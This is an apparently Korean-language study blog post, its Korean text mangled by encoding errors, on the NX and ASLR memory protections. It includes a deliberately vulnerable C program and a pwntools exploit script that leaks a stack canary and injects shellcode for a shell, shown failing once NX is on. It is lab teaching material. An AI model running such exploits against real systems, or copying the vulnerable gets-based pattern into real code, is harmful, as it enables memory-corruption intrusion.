Mitigation: NX & ASLR
์์คํ
๋ณด์์ ์ง๋ ์๋
๊ฐ ๋ฐ์ ํด์จ ๊ณต๊ฒฉ ๊ธฐ๋ฒ๊ณผ ๋ณดํธ ๊ธฐ๋ฒ์ ๋ฐ์ ์์์ ๋ณด์๋ฉด..
์ด๋ค ๋ณดํธ ๊ธฐ๋ฒ์ด ๋ฑ์ฅํ๋ฉด ์ฐํ ๊ธฐ์ ๋ ๋ฑ์ฅํฉ๋๋ค.. ์ด๋ ๊ฒ ์ด๋ค ๊ณต๊ฒฉ์ด ์ฌ์ง ๋ชจ๋ฅด๊ธฐ์
์์คํ
๊ฐ๋ฐ์๋ค์ ์ฌ๋ฌ ๊ฒบ์ ๋ณดํธ ๊ธฐ๋ฒ์ ์ ์ฉํด ์์คํ
์ด ๊ณต๊ฒฉ๋นํ ์ ์๋ ํํ ์์ฒด↓
์ด์ ์ ๊ธ์ ๋ณด์๋ฉด r2s๋ฅผ ํตํ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๊ธฐ์ ๋ ์ด๋ ต๊ฒ ํ๊ธฐ ์ํด์
๊ณต๊ฒฉ์๊ฐ ๋ฉ๋ชจ๋ฆฌ์ ์์ ๋ฒํผ ์ฃผ์ ์๊ธฐ ํ๋ค๊ฒ, ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ๋ถํ์ํ ์คํ ๊ถํ ์ ๊ฑฐ
Exploit Tech: Return to Shellcode
dystopia050119.tistory.com
์ด์ ๊ด๋ จ๋ ๋ณดํธ๊ธฐ๋ฒ์ผ๋ก ์ฐ๋ฆฌ๋ ASLR๊ณผ NX๋ฅผ ๋ฐฐ์๋ณผ๊ป์
ASLR
Address Space Layout Randomization์ ์ฝ์ด
๋ฐ์ด๋๋ฆฌ๊ฐ ์คํ๋ ๋๋ง๋ค ์คํ/ํ/๊ณต์ lib ๋ฑ์ ์์์ ์ฃผ์์ ํ ๋นํ ๋ณดํธ๊ธฐ๋ฒ!!
ALSR์ ์ปค๋์์ ์ง์ํ๋ ๋ณดํธ ๊ธฐ๋ฒ์ด๋ฉฐ, ๋ค์์ ๋ช ๋ น์ด๋ก ํ์ธํ์ค ์ ์์ต๋๋ค.
cat /proc/sys/kernel/randomize_va_space
๋ฆฌ๋ ์ค์์ ์ด ๊ฐ์ 0, 1 ๋๋ 2๋ฅผ ๊ฐ์ฆ๋ฉฐ, ๊ฐ ASLR์ด ์ ์ฉ๋๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
- No ASLR(0) : ASLR์ ์ ์ฉ X
- Conservative Randomization(1) : ์คํ, ํ, lib, vdso etc..
- Conservative Randomization + brk(2) : (1)์ ์์ญ๊ณผ brk๋ก ํ ๋นํ ์์ญ
์ฐธ๊ณ ๋ก brk์ ๊ด๋ จ๋ ์๋ฃ๋ ์๋ ๋งํฌ๋ฅผ ํตํด ๋ณด์๋ฉด ๋ฉ๋๋ค.
[ Linux System Call ] brk, sbrk
Reference : sploitfun.wordpress.com/2015/02/11/syscalls-used-by-malloc/ Syscalls used by malloc. Having landed on this page, you should know malloc uses syscalls to obtain memory from the OS. As sh..
aidencom.tistory.com
์์ธํ ํน์ง์ ์๋ ์์ ๋ฅผ ํตํด ASLR์ ๋ํ์ฌ ์์๋ด ์๋ค
// Name: addr.c
// Compile: gcc addr.c -o addr -ldl -no-pie -fno-PIE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
char buf_stack[0x10]; // ์คํ ๋ฒํผ
char *buf_heap = (char *)malloc(0x10); // ํ ๋ฒํผ
printf("buf_stack addr: %p\n", buf_stack);
printf("buf_heap addr: %p\n", buf_heap);
printf("libc_base addr: %p\n",
*(void **)dlopen("libc.so.6", RTLD_LAZY)); // ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์
printf("printf addr: %p\n",
dlsym(dlopen("libc.so.6", RTLD_LAZY),
"printf")); // ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์์ ์ฃผ์
printf("main addr: %p\n", main); // ์ฝ๋ ์์ญ์ ํจ์ ์ฃผ์
}
ASLR์ ํน์ง
addr.c์ฝ๋๋ ๋ฉ๋ชจ๋ฆฌ์ ์ฃผ์๋ฅผ ์ถ๋ ฅํ๋ ์ฝ๋๋ก ์ปดํ์ผ ํ ์คํํด๋ณด๋ฉด..
๊ฐ ๋ฉ๋ชจ๋ฆฌ ์์ญ๋ณ๋ก ์ ์ถ๋ ฅ๋์์ผ๋ฉฐ, ๊ฒฐ๊ณผ๋ฅผ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ ํน์ง์ด ์์ต๋๋ค.
- ์ฝ๋ ์์ญ์ mainํจ์๋ฅผ ์ ์ธํ ๋ค๋ฅธ ์์ญ์ ์ฃผ์๋ค์ ์คํ๋ง๋ค ๋ณ๊ฒฝ๋จ
- ์คํํ ๋๋ง๋ค ์ฃผ์ ๋ณ๊ฒฝ๋๊ธฐ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํ ์ ์ ํด๋น ์์ญ๋ค์ ์ฃผ์ ์์ธก ๋ถ๊ฐ - ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฐ๋ณตํด ์คํํด๋ printf ์ฃผ์์ ํ์ 12๋นํธ ๊ฐ์ ๋ณ๊ฒฝ X
- ๋ฆฌ๋ ์ค๋ ASLR์ด ์ ์ฉ ์, ํ์ผ์ ํ์ด์ง(Page; 12๋นํธ) ๋จ์๋ก ์์ ์ฃผ์๋ฅผ ๋งคํํจ - libc_base์ printf์ ์ฃผ์ ์ฐจ์ด๋ ํญ์ ๊ฐ์
- ASLR์ด ์ ์ฉ ์ lib๋ ์์ ์ฃผ์์ ๋งคํ๋จ
- lib ํ์ผ ๊ทธ๋๋ก ๋งคํ์ด ์๋ ๋งคํ๋ ์ฃผ์๋ก๋ถํฐ lib์ ๋ค๋ฅธ ์ฌํด๋ค์ ๊ฑฐ๋ฆฌ(Offset)์ ํญ์ ๊ฐ์
NX(No-eXecute)
์คํ์ ์ฌ์ฉ๋๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ๊ณผ ์ฐ๊ธฐ์ ์ฌ์ฉ๋๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ๋ถ๋ฆฌํ๋ ๋ณดํธ ๊ธฐ๋ฒ!!
์ด๋ค ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ๋ํด ์ฐ๊ธฐ ๊ถํ๊ณผ ์คํ ๊ถํ์ด ํจ๊ป ์์ผ๋ฉด ์์คํ
์ด ์ทจ์ฝํด์ง๊ธฐ ์ฝ์ฃ
์๋ฅผ ๋ค์ด, ์ฝ๋ ์์ญ์ ์ฐ๊ธฐ ๊ถํ์ด ์์ผ๋ฉด ๊ณต๊ฒฉ์๋ ์ฝ๋๋ฅผ ์์ ํด ์ํ๋ ์ฝ๋ ์คํ ๊ฐ๋ฅํ๋ฉฐ,
๋ฐ๋๋ก ์คํ์ด๋ ๋ฐ์ดํฐ ์์ญ์ ์คํ ๊ถํ์ด ์์ผ๋ฉด Return to Shellcode์ ๊ฐ์ ๊ณต๊ฒฉ ์๋ ๊ฐ๋ฅ!!
CPU๊ฐ NX๋ฅผ ์ง์ํ๋ฉด ์ปดํ์ผ ์ต์
์ ํตํด ๋ฐ์ด๋๋ฆฌ์ NX๋ฅผ ์ ์ฉํ ์ ์์ผ๋ฉฐ, NX ์ ์ฉ๋ ๋ฐ์ด๋๋ฆฌ๋
์คํ๋ ๋ ๊ฐ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ํ์ํ ๊ถํ๋ง์ ๋ถ์ฌ๋ฐ์ต๋๋ค.
gdb์ vmmap์ผ๋ก NX ์ ์ฉ ์ ํ์ ๋ฉ๋ชจ๋ฆฌ ๋งต์ ๋น๊ตํ๋ฉด, ๋ค์๊ณผ ๊ฐ์ด NX๊ฐ ์ ์ฉ ์ ํ์
๋ฉ๋ชจ๋ฆฌ ๋งต์ ๋น๊ตํ๋ฉด, ๋ค์๊ณผ ๊ฐ์ด NX๊ฐ ์ ์ฉ๋ ๋ฐ์ด๋๋ฆฌ๋..
์ฝ๋ ์์ญ ์ธ์ ์คํ ๊ถํ์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค. ๋ฐ๋ฉด, NX๊ฐ ์ ์ฉ X๋ ๋ชจ๋ ์์ญ์ ์กด์ฌ!!
Checksec์ ์ด์ฉํ NX ํ์ธ
checksec์ ์ด์ฉํด ๋ค์๊ณผ ๊ฐ์ด ๋ฐ์ด๋๋ฆฌ์ NX๊ฐ ์ ์ฉ๋๋์ง ํ์ธํ ์ ์์ต๋๋ค.
NX์ ๋ค์ํ ๋ช ์นญ
- ์ธํ : XD(eXecute Disble)
- AMD : NX(No-eXecute)
- ์๋์ฐ : DEP(Data Execution Prevention)
- ARM : XN(eXecute Never)
Return to Shellcode w/t NX
์ด์ ์ ์ค์ตํ Return to shellcode์ ์์ ์ธ r2s์ NX ๋ณดํธ๊ธฐ๋ฒ์ ์ ์ฉ ํ,
๋์ผ ์ต์คํ๋ก์์ ์คํํ์ ๋์ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํด๋ด
์๋ค.
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
r2s.c๋ฅผ -zexecstack ์ต์ ์ ์ ๊ฑฐํด ์ปดํ์ผ ํ, checksec์ผ๋ก ํ์ธํด๋ณด๋ฉด NX๊ฐ ํ์ฑํ๋จ!!
์ด ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋์์ผ๋ก ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์คํํ๋ฉด, ๋ค์๊ณผ ๊ฐ์ด Segmentataion fault ๋ฐ์!!
์ด๋ NX๊ฐ ์ ์ฉ๋ ์คํ ์์ญ์ ์คํ ๊ถํ์ด ์ฌ๋ผ์ง๋ฉฐ, ์
ธ์ฝ๋๊ฐ ์คํ ๋ถ๊ฐ๋ก ์ข
๋ฃ๋ ๊ฒ์ด์ฃ
#!/usr/bin/env python3
# Name : r2s.py
from pwn import *
def slog(n, m): return success(":".join([n, hex(m)]))
p = process('./r2s')
context(arch='amd64', os='linux')
e = ELF('./r2s')
#[1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog('Address of the buf', buf)
p.recvuntil('$rbp: ')
buf2_sfp = int(p.recvline().split()[0])
buf2_canary = buf2_sfp - 8
slog('buf <=> sfp', buf2_sfp)
slog('buf <=> canary', buf2_canary)
# [2] Leak canary value
payload = b"A"*(buf2_canary + 1) # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recvn(7))
slog("Canary", canary)
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2_canary, b"A") + p64(canary) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()
์.. ๊ท์ฐฎ์์ ํ์ผ ๋ช ์ ๋ฐ๊ฟจ๋๋ฐ ๋ฐ๊พธ์๋ฉด.. ํํ
์ด๋ฐ ์์ผ๋ก ์ค๋ฅ๊ฐ.. ๋๋ฉด ์๋๋๋ฐ ํ.. ์ด์จ๋ ์๋๋ค๋ ๊ฑธ ์์์ฃ
Checksec์ ํด๋ณด๋ฉด NX์ ์ ์ฉ ์ฌ๋ถ๋ฅผ ํ์ธํ์ค ์ ์์ต๋๋ค. ๊ทธ๊ฑด ํด๋ณด์ ๋ ์ข์๊ฑฐ ๊ฐ์์
๋ง์น๋ฉฐ
NX์ ASLR์ด ์ ์ฉ๋๋ฉด ์คํ/ํ/๋ฐ์ดํฐ ์์ญ์ ์คํ ๊ถํ ์ ๊ฑฐ ๋ฐ ํ ๋น ์ฃผ์ ๊ณ์ ๋ณํจ..
๊ทธ๋ฌ๋ ๋ฐ์ด๋๋ฆฌ์ ์ฝ๋๊ฐ ์กด์ฌํ๋ ์์ญ์ ์ฌ์ ํ ์คํ ๊ถํ ์กด์ฌ!! ํ ๋น ์ฃผ์๋ ๊ณ ์ !!
์ฝ๋ ์์ญ์ ์ ์ฉํ ์ฝ๋ ๊ฐ์ ฏ๋ค๊ณผ ํจ์๋ ํฌํจ๋์ด ์์ต๋๋ค.
๋ฐํ ์ฃผ์๋ฅผ ์
ธ ์ฝ๋๋ก ์ง์ ๋ฎ๋ ๋์ , ์ด๋ฅผ ํ์ฉํด NX์ ASLR์ ์ฐํํ๋ ๊ณต๊ฒฉ๋ ์์ฃ
๊ด๋ จ๋ ๋ํ์ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ผ๋ก RTL(Return-To-Libc)๊ณผ ROP(Return Oriented Programming)!
ํค์๋
- Address Space Layout Randomization(ASLR)
- ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ฌด์์ ์ฃผ์์ ํ ๋นํ๋ ๋ณดํธ ๊ธฐ๋ฒ.
- ์ต์ ์ปค๋๋ค์ ๋๋ถ๋ถ ์ ์ฉ๋์ด ์์.
- ๋ฆฌ๋ ์ค์์๋ ํ์ด์ง ๋จ์๋ก ํ ๋น์ด ์ด๋ฃจ์ด์ง๋ฏ๋ก ํ์ 12๋นํธ๋ ๋ณํ์ง ์๋๋ค๋ ํน์ง์ด ์์. - NX(No-eXecute bit)
- ํ๋ก์ธ์ค์ ๊ฐ ์ธ๊ทธ๋จผํธ์ ํ์ํ ๊ถํ๋ง ๋ถ์ฌํ๋ ๋ณดํธ ๊ธฐ๋ฒ.
- ์ผ๋ฐ์ ์ผ๋ก ์ฝ๋ ์์ญ์๋ ์ฝ๊ธฐ์ ์คํ์, ๋๋จธ์ง ์์ญ์๋ ์ฝ๊ธฐ์ ์ฐ๊ธฐ ๊ถํ์ด ๋ถ์ฌ๋จ.
์ฐธ๊ณ ์๋ฃ
Mitigation: NX & ASLR
์ด ์ฝ์ค์์๋ NX์ ASLR์ ๋ฐฐ์ฐ๊ณ , ์ด๋ค์ ์ฐํํ๋ ๋ฐฉ๋ฒ์ ๊ฐ๋จํ ์๊ฐํฉ๋๋ค.
dreamhack.io
์ฐธ๊ณ ์ด๋ฏธ์ง